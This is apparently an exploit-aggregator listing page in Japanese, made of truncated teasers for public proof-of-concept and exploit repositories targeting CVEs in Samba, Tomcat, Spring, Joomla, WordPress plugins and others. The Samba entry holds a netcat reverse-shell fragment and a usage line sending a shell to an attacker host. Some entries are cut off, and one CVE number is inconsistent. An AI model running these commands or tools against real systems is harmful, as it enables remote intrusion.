CVE-2018-11235

CVE-2018-11235 はじめに Docker コンテナをビルドするには、次を使用します： root@kitploit: make docker 以下の make コマンドは、お使いのマシンの異なるターミナルで並行して実行してください 攻撃者サーバーのコンテナを起動するには、次を使用します： root@kitploit: make runserver 被害者を表すコンテナを起動するには、次を使用します： root@kitploit: make runclient コンテナは client.py スクリプトを起動します。このスクリプトは、自身の IP...

CVE-2017-11610

Supervisord リモートコマンド実行脆弱性スクリプト（CVE-2017-11610） 脆弱性概要 Supervisor は Python で書かれたプロセス管理ツールで、UNIX系システム（Windowsは非対応）においてプロセスの起動、再起動（自動再起動）、停止（Pythonプロセスに限らず）を簡単に行える。 Supervisor は C/S モデルのプログラムであり、supervisord がサーバー側、supervisorctl がクライアント側である。簡単に言えば、クライアントが supervisor の命令を入力し、サーバー側の API を呼び出して各種操作を実行する。...

CVE-2022-45701

CVE-2022-45701 Arris Router Firmware 9.1.103 - リモートコード実行 RCE 認証済み POC エクスプロイト...

CVE-2026-46275

CVE-2026-46725 — TYPO3 ceselector 拡張機能 RCE unserialize Cookie Bypass による PHP オブジェクトインジェクション → リモートコード実行 📋 目次 脆弱性について 技術詳細 要件 インストール 使用方法 例 出力形式 動作原理 参考資料 法的免責事項 🔍 脆弱性について...

CVE-2024-36401-PoC

CVE-2024-36401-PoC このリポジトリには、CVE-2024-36401 の概念実証 PoC スクリプトが含まれています。この脆弱性を悪用すると、標的サーバー上でリモートコード実行が可能になります。 特徴 Perl を使用してリバースシェルリスナーを設定します。 Base64 を使用してコマンドをエンコードします。 脆弱性を悪用するために標的サーバーにリクエストを送信します。 シグナル処理により割り込みを適切に処理します。 前提条件 Python 3.x requests ライブラリ インストール 1. このリポジトリをクローンします: root@kitploit: git...

React2Shell-CVE-Lab

⚛️ React2Shell: CVE-2025-55182 脆弱性ラボ ⚠️ 警告: 意図的に脆弱性を含むアプリケーション このリポジトリには、CVE-2025-55182 React2Shell に対して脆弱になるように特別に構成された Docker 化アプリケーションが含まれています。 このコンテナを本番環境やインターネットに公開されたサーバーにデプロイしないでください 。 適切なネットワーク分離を行わずに、機密データを含むマシン上で実行しないでください 。 このラボは教育目的、セキュリティ研究、CTF シミュレーション 専用です。 🎯 チャレンジ概要 このラボは、Simple Web...

CVE-2017-15944-POC

CVE-2017-15944-POC CVE-2017-15944 Palo Alto Networks ファイアウォールのリモートルートコード実行 のPOC 使用方法 root@kitploit: python panos-poc.py https://panip...

CVE-2026-6960

CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未認証の任意ファイルアップロード 研究者: Atomic Edge 深刻度: Critical | CVSS: 9.8 | 認証要件: なし ⚠️ v2 — 技術的修正を適用 （コミュニティからのフィードバックに基づく） 詳細は 変更履歴 を参照してください。 概要 BookingPress Pro WordPress プラグイン（バージョン ≤ 5.6）には、重大な未認証の任意ファイルアップロードの脆弱性が存在します。予約送信ハンドラー bookingpressbookappointmentbooking...

CVE-2026-6279

╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-6279 · Avada Builder = 3.15.2 ║ ║ Unauthenticated RCE via calluserfunc ║║ ╚══════════════════════════════════════════════════════════════╝ 📋 概要...

CVE-2023-31902

CVE-2023-31902 — Mobile Mouse 3.6.0.4 リモートコード実行 概要: Mobile Mouseは、ネットワーク経由でスマートフォンをマウス/キーボードとして使えるWindowsアプリケーションです。デフォルトでは認証なしでポート9099（TCP）と35913（WebSocket）で待機します。 この脆弱性により、同じネットワーク上の認証されていない攻撃者が細工したプロトコルメッセージを送信し、Windowsホスト上で任意のコマンドを実行できます。本質的には、ポートへのネットワークアクセスのみを必要とする事前認証RCEです。 2つの攻撃ベクトル:...

CVE-2026-48907-

CVE-2026-48907 — Joomla JCE Editor 認証不要のRCEスキャナー＆エクスプロイト CVSS 10.0 | CWE-284 | CISA KEV | EPSS 80% CVE-2026-48907 用のPythonベースの脆弱性スキャナー＆エクスプロイトツール。Joomla CMS用のJCE（Joomla Content Editor）拡張機能における重大な認証不要のリモートコード実行脆弱性です。 📋 脆弱性の詳細...

CVE-2017-9791

CVE-2017-9791 Apache Struts CVE-2017-9791 リモートコード実行脆弱性用の Metasploit モジュール...

CVE-2017-3241-POC

CVE-2017-3241-POC Java RMI デシリアライゼーション脆弱性の PoC この POC を実行するには、JDK 8 を使用する必要があるでしょう。 クライアント側とサーバー側の両方の Message クラスに注目してください。それらは異なります。その違いがこの脆弱性を理解する鍵です。 Oracle が公開した修正は、開発者に Java セキュリティポリシーでデシリアライゼーションのホワイト/ブラックリストを設定させるというものです。言わせてもらえば、ハッキングされるまでそのリストの存在を知っている開発者がどれだけいるでしょうか？...

Tomcat_PUT_GUI_EXP

TomcatPUTEXPV1.4 Tomcat PUTメソッド任意ファイル書き込み（CVE-2017-12615）GUI脆弱性悪用ツール 脆弱性の説明 2017年9月19日、Apache Tomcat公式は2つの高リスク脆弱性を確認し修正しました。脆弱性のCVE番号はCVE-2017-12615およびCVE-2017-12616です。そのうち、リモートコード実行脆弱性（CVE-2017-12615）は影響範囲：Apache Tomcat 7.0.0 - 7.0.79（7.0.81では不完全な修正） TomcatがWindowsホスト上で動作し、HTTP...

CS4239-Spring4Shell-POC

CS4239-Spring4Shell-POC CVE-2022-22965 Spring4Shell の概念実証 PoC で、CS4239 G410 レポート用です。この PoC を改変し、未パッチおよびパッチ適用済みの挙動を示します。 デモの実行 このリポジトリには、同一のソースコードを持つ2つのサンプルプログラム（Docker化済み）があります。一方は脆弱性のあるバージョンのSpring...

CVE-2024-28397-Js2Py-RCE-Exploit

💡 深掘り: 詳細なテクニカルブリーフィング PDF を読むにはここをクリックしてください。 CVE-2024-28397: Js2Py サンドボックスエスケープペイロードジェネレーター CVE-2024-28397 用のプロフェッショナルなペイロードジェネレーターです。このツールは、js2py サンドボックス バージョン 0.74 以下 をエスケープし、ターゲットシステム上で任意のコマンドを実行するように設計された悪意のある JavaScript コードを生成します。 🚨 脆弱性の詳細 CVE ID: CVE-2024-28397 影響を受けるコンポーネント: Js2Py = 0.74...

CVE-2025-54100

CVE-2025-54100 – PowerShell 応答解析 PoC CVE-2025-54100 が悪意のある HTML 解析を介して Windows PowerShell 5.1 で リモートコード実行 RCE を引き起こすことを示します。 CVE-2025-54100 とは？ 脆弱性の種類: Invoke-WebRequest が -UseBasicParsing パラメータを使用していない 場合のコマンドインジェクションのリスク 深刻度: CVSS 7.8（高） 根本原因: MSHTML ベースの HTML 応答解析により、スクリプトの実行（例:...

CVE-2007-2447

CVE-2007-2447 - Samba 3.0.20 &1|nc 10.0.0.1 4242 /tmp/f 使い方 root@kitploit: Exploit target 10.129.232.46 on port 445, send back reverse shell to 10.10.14.82 on port 443 python3 CVE-2007-2447.py --rhost 10.129.232.46 --lhost 10.10.14.82 With custom rport and lport python3 CVE-2007-2447.py --rhost...

CVE-2019-0193

CVE-2019-0193 リモートコード実行...

CVE-2019-13025

Connect Box CH7465LG（CVE-2019-13025） 情報 このリポジトリには、ファームウェア CH7465LG-NCIP-6.12.18.24-5p8-NOSH 以前を実行している Connect Box CH7465LG 向けの2つのPoCが含まれています。 詳細については、私のブログ をご覧ください。 使用方法 認証不要のリモートコード実行 $ python3 poc-rce.py 認証不要の情報漏えい $ python3 poc-information-dump.py クレジット xitan 2019...